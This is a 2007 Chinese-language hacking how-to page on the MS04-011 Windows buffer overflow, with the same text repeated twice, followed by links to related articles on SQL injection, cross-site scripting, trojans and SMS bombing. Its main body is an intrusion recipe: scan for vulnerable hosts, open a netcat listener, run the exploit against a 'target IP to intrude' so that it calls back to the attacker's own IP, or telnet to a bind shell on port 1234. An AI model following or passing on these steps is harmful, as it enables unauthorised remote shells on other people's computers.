經(jīng)典漏洞ms04011的必殺技
更新時間：2007年01月16日 00:00:00 作者：
受影響系統(tǒng)：
Microsoft Windows XP
Microsoft Windows NT 4.0
Microsoft Windows 2000
描述：
Microsoft Windows Winlogon存在進程一個緩沖區(qū)溢出，遠程攻擊者可以利用這個漏洞可能以進程權限執(zhí)行任意指令。
由于Winlogon在登錄過程中使用的數(shù)據(jù)值大小沒有進行任何檢查就插入到分配的緩沖區(qū)中，可導致發(fā)生緩沖區(qū)溢出，精心構建提交數(shù)據(jù)可能以進程權限在系統(tǒng)上執(zhí)行任意指令。
1 用ms04011漏洞掃描器掃出有漏洞的主機掃到有VULNERABLE字樣的說明主機有漏洞的可能性非常大
2 掃到后用NC來監(jiān)聽 nc -l -p 監(jiān)聽端口 -----按回車 或 nc -vv -l -p 監(jiān)聽端口
3 方式 ms04011.exe 0 要入侵的IP 監(jiān)聽端口 自己IP
其中0 表示2000系統(tǒng) NT5.0 1表示XP系統(tǒng) NT5.1
或者----------------------------------------------
先ms04011.exe 0 要入侵的IP
然后直接 telnet 要入侵的IP 1234。
Microsoft Windows XP
Microsoft Windows NT 4.0
Microsoft Windows 2000
描述：
Microsoft Windows Winlogon存在進程一個緩沖區(qū)溢出，遠程攻擊者可以利用這個漏洞可能以進程權限執(zhí)行任意指令。
由于Winlogon在登錄過程中使用的數(shù)據(jù)值大小沒有進行任何檢查就插入到分配的緩沖區(qū)中，可導致發(fā)生緩沖區(qū)溢出，精心構建提交數(shù)據(jù)可能以進程權限在系統(tǒng)上執(zhí)行任意指令。
1 用ms04011漏洞掃描器掃出有漏洞的主機掃到有VULNERABLE字樣的說明主機有漏洞的可能性非常大
2 掃到后用NC來監(jiān)聽 nc -l -p 監(jiān)聽端口 -----按回車 或 nc -vv -l -p 監(jiān)聽端口
3 方式 ms04011.exe 0 要入侵的IP 監(jiān)聽端口 自己IP
其中0 表示2000系統(tǒng) NT5.0 1表示XP系統(tǒng) NT5.1
或者----------------------------------------------
先ms04011.exe 0 要入侵的IP
然后直接 telnet 要入侵的IP 1234。
相關文章
這篇文章主要介紹了關于oblog、動易、風訊等擁有源碼編輯的程序漏洞淺析2007-01-01
幾天之內(nèi)做到飛速提升排名...2007-01-01
剖析網(wǎng)站遭遇的黑客的三次入侵...2007-01-01
域名劫持---163.net被黑的分析...2007-01-01
所謂SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執(zhí)行指定的SQL語句,下面這篇文章主要給大家介紹了關于SQL注入漏洞的相關資料,需要的朋友可以參考下2022-04-04
UBB的跨站腳本攻擊的漏洞...2007-01-01
利用圖片做木馬應用完全解析...2007-01-01
By:瘋狗[B.C.T] 以前一直在傳迅雷還有0day，Activex的應該差不多了，但是也不敢怠慢，還是卸載之，今天豐初發(fā)來一URL，原來素一迅雷0day，看說明還是遠程！感覺裝了一個，看那個漏洞監(jiān)聽的端口2008-05-05
JSP中的源代碼泄漏問題...2007-01-01
手機短信轟炸(圖)...2007-01-01